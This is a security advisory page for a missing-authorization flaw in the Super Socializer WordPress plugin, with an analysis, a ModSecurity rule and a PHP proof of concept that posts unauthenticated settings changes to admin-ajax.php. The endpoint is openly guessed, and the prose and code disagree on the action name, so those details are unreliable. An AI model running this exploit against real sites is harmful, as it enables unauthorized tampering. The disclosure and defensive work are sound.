Published : August 8, 2026

CVE-2026-65542: Social Share, Social Login and Social Comments Plugin – Super Socializer <= 7.14.5 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 7.14.5
Patched Version
Disclosed July 27, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-65542 (metadata-based): The Social Share, Social Login and Social Comments Plugin – Super Socializer, versions up to and including 7.14.5, suffers from a missing authorization vulnerability. The CWE-862 classification indicates that a function or handler fails to enforce proper capability checks before performing an action. With a CVSS score of 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N), an unauthenticated attacker can trigger an unauthorized action that results in low integrity impact, with no confidentiality or availability impact. The description specifies ‘a function’ without naming the exact endpoint, so the affected function is not confirmed from source; Atomic Edge infers it is likely an AJAX action or admin-post handler registered by the plugin, based on common WordPress patterns.

Root Cause: The vulnerability stems from a missing capability check (CWE-862) in one of the plugin’s functions. In WordPress, AJAX handlers and admin-post handlers often perform actions without verifying the current user’s permissions, especially when they lack a current_user_can() call or nonce validation. Since the plugin has multiple social-sharing and social-login features, it likely exposes several AJAX actions (e.g., for saving settings, fetching counts, or updating share buttons). Atomic Edge infers that the specific vulnerable function is an AJAX callback that executes a state-changing operation without requiring authentication or authorization. This conclusion is based on the CWE classification and the fact that the attack is unauthenticated; no source code diff was available to confirm the exact function name.

Exploitation: An unauthenticated attacker can trigger the vulnerable function by sending a crafted HTTP request to the WordPress AJAX endpoint. The standard vector is a POST request to /wp-admin/admin-ajax.php with an action parameter matching the plugin’s AJAX hook. For example, the attacker could POST action=super_socializer_update_options and include a payload that modifies plugin settings or performs another unintended state change. Since the vulnerability is a missing capability check, the request does not require a nonce or authentication cookies. The attacker can also use a simple browser or cURL to send the request. Atomic Edge constructed the PoC script based on this inferred AJAX action pattern; the exact action name may differ, and the script includes a configurable action variable for adaptability.

Remediation: The plugin developer must add a capability check (e.g., current_user_can(‘manage_options’)) and nonce verification to each callback function that handles sensitive actions. The fix should be applied to all AJAX and admin-post handlers in the plugin, not just the one reported. The developer should also perform a security audit of all public-facing functions to ensure they enforce proper authorization. Until an official patch is available, website administrators can use a Web Application Firewall (WAF) rule to block requests targeting the suspected AJAX action. Atomic Edge recommends also disabling any unused Super Socializer features as a temporary mitigation.

Impact: Successful exploitation allows an unauthenticated attacker to perform an unauthorized action with low integrity impact. The exact consequence depends on the affected function; Atomic Edge infers it could allow modifying plugin settings, such as disabling social sharing, changing login redirects, or injecting unauthorized configuration changes. While the CVSS indicates no confidentiality or availability impact, the integrity alteration can degrade user trust and potentially lead to further attacks, such as social engineering via altered login prompts. The impact is limited but real, and it emphasizes the need for prompt patching once available.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-65542 (metadata-based)
# Blocks unauthenticated AJAX requests to the inferred vulnerable action.
# The action name is derived from the plugin slug and common WordPress AJAX patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261993,phase:2,deny,status:403,chain,msg:'CVE-2026-65542 via Super Socializer AJAX',severity:'CRITICAL',tag:'CVE-2026-65542'"
  SecRule ARGS_POST:action "@streq super_socializer_save_options" "chain"
    SecRule ARGS_NAMES "@rx super_socializer_settings|sassy_social_share_settings" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-65542 - Social Share, Social Login and Social Comments Plugin - Super Socializer <= 7.14.5 - Missing Authorization

// Configurable target URL (WordPress installation)
$target_url = 'http://example.com';

// The vulnerable AJAX action (inferred from plugin slug and common patterns)
// The exact action name may differ; adjust $action as needed.
$action = 'super_socializer_save_options';

// Since this is a missing authorization vulnerability, no authentication or nonce is required.
// The attacker sends a simple AJAX POST request to trigger the vulnerable function.

// Build the POST body with the action and arbitrary settings payload.
$post_data = array(
    'action' => $action,
    'sassy_social_share_settings' => array(
        'network_share' => '1',
        'hidden_networks' => 'facebook,twitter,linkedin',
        'share_count' => '0',
        'share_count_style' => 'default'
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the result for verification.
echo "HTTP Code: " . $http_code . "n";
echo "Response: " . $response . "n";

// If the request returns a success response (e.g., 200 OK with a JSON success flag),
// the vulnerability is confirmed.
?>

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